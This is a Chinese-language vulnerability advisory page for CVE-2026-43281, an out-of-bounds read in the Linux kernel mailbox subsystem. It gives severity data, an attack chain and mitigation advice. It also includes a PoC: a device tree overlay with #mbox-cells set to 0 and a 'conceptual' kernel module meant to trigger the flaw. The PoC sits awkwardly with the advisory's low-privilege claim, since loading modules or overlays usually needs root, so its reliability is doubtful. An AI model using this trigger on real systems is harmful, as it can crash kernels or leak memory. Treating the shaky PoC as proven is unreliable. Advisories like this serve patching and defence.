IPBUF安全漏洞报告
English
CVE-2026-43281 CVSS 7.1 高危

CVE-2026-43281: Linux内核邮箱越界访问漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43281
漏洞类型
内存越界访问
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel内存越界本地提权DoS信息泄露Mailbox

漏洞概述

Linux内核的邮箱驱动子系统中存在一处越界访问漏洞。该问题出现在`fw_mbox_index_xlate()`函数中,当设备树配置将`#mbox-cells`设为0且控制器未自定义转换函数时,系统默认调用此函数却未进行参数边界检查。本地低权限攻击者可利用此缺陷触发越界读取,导致内核崩溃或敏感数据泄露,严重影响系统的机密性与可用性。

技术细节

该漏洞的根源在于Linux内核邮箱控制器通用代码对设备树参数处理的逻辑缺陷。正常情况下,`#mbox-cells`定义了邮箱通道所需的参数个数,控制器应实现`of_xlate`来解析这些参数。若未实现,内核回退至`fw_mbox_index_xlate`,该函数默认假定至少有一个参数作为通道索引。然而,当设备树错误地配置`#mbox-cells = <0>`时,参数计数为0。此时函数直接访问空参数或越界索引,导致读取非法内存地址。攻击者需具备本地低权限,通过加载特制的设备树或利用现有配置触发该路径,进而造成内核信息泄露或拒绝服务。修复该漏洞需在调用默认转换函数前增加对`args_count`的校验。

攻击链分析

STEP 1
侦察
攻击者识别出目标系统运行的是存在该漏洞的Linux内核版本,且配置了使用默认`fw_mbox_index_xlate`的邮箱控制器。
STEP 2
获取访问权限
攻击者获取目标系统的本地低权限账户。
STEP 3
触发漏洞
攻击者加载包含恶意`#mbox-cells = <0>`配置的设备树,或利用现有配置,通过调用邮箱接口触发`fw_mbox_index_xlate`函数。
STEP 4
利用与影响
由于缺乏边界检查,函数进行越界内存读取,可能导致内核崩溃或泄露敏感内存信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43281 * This demonstrates the Device Tree configuration required to trigger the OOB access. * Requires a vulnerable Linux kernel and a mailbox controller using default xlate. */ /dts-v1/; /plugin/; / { compatible = "vendor,board"; fragment@0 { target-path = "/"; __overlay__ { vulnerable_mbox: mailbox@10000000 { compatible = "vendor,vulnerable-controller"; reg = <0x10000000 0x1000>; #mbox-cells = <0>; /* Trigger condition: 0 cells */ /* No xlate function provided by driver */ }; }; }; }; /* * Kernel module to attempt using the mailbox (Conceptual) */ #include <linux/module.h> #include <linux/of.h> #include <linux/mailbox_client.h> static int __init poc_init(void) { struct device_node *np; struct mbox_client cl; struct mbox_chan *chan; memset(&cl, 0, sizeof(cl)); // This call triggers fw_mbox_index_xlate with args_count=0 // leading to out-of-bounds access on vulnerable kernels. np = of_find_compatible_node(NULL, NULL, "vendor,vulnerable-controller"); if (np) { chan = mbox_request_channel(&cl, 0); // Check result or observe crash } return 0; } module_init(poc_init);

影响范围

Linux Kernel (特定版本,具体需参考补丁提交记录)

防御指南

临时缓解措施
如果无法立即升级内核,应严格限制本地用户的访问权限,并审查系统中的设备树配置,确保未将`#mbox-cells`错误地设置为0,除非控制器明确支持。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表